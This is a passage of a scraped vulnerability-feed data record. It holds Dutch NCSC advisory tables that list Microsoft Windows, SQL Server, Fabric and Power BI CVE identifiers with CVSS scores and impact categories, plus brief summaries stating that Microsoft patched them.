CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:00:59.387694Z"}, {"uuid": "475a7164-9f51-4f11-b153-c86e7d3ef407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54117", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0232", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse componenten van SQL Server. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich verhoogde rechten toe te kennen, willekeurige code uit te voeren en/of toegang te krijgen tot gevoelige gegevens.\n\n```\nSQL Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47296 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54117 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54118 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55002 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-47295 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50468 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54116 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Fabric Data Warehouse: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56642 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nPower BI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58647 | 8.00 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-15T01:00:56.644525Z"}, {"uuid": "707d52be-83e8-4cac-ab86-26e65f4e07c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken 